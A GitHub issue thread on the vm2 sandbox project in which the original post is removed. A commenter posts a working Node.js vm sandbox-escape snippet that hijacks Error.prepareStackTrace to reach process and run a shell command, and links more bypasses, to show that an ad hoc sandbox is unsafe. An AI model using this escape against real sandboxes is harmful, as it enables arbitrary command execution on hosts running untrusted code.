Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[content removed for the very unfriendly management] #535

Closed
mgttt opened this issue Mar 21, 2024 · 3 comments
Closed

[content removed for the very unfriendly management] #535

mgttt opened this issue Mar 21, 2024 · 3 comments

Comments

@mgttt
Copy link

mgttt commented Mar 21, 2024

[content removed for the very unfriendly management]

@mgttt mgttt mentioned this issue Mar 21, 2024
@j4k0xb
Copy link

j4k0xb commented Mar 21, 2024

That's just the stock node vm 🤔
vm2 did a lot more to prevent escapes but it still wasn't enough

bypass:

Error.prepareStackTrace = (e, frames) => {
  frames.constructor
    .constructor("return process")()
    .mainModule.require("child_process")
    .execSync("touch flag");
};
throw new Error();

@XmiliaH XmiliaH closed this as completed Mar 21, 2024
@j4k0xb
Copy link

j4k0xb commented Mar 22, 2024

Please don't rely on a few patches or node's vm in general for dealing with untrusted code, it gives a false sense of security and there are countless other ways to bypass (e.g. https://gist.github.com/leesh3288/e4aa7b90417b0b0ac7bcd5b09ac7d3bd)

That's why the readme says

Consider migrating your code to isolated-vm.

@XmiliaH XmiliaH changed the title If my solution helps.... If my solution helps.... [NO, IT DOES NOT!!!] Mar 30, 2024
@XmiliaH
Copy link
Collaborator

XmiliaH commented Mar 30, 2024

Your soulution does not help as @j4k0xb showed again and again. Stop asking here what problems your solution sill has. It has nothing to do with vm2. Move this discussion over to your own repo.

@mgttt mgttt changed the title If my solution helps.... [NO, IT DOES NOT!!!] [content removed for the very unfriendly management] Mar 30, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

3 participants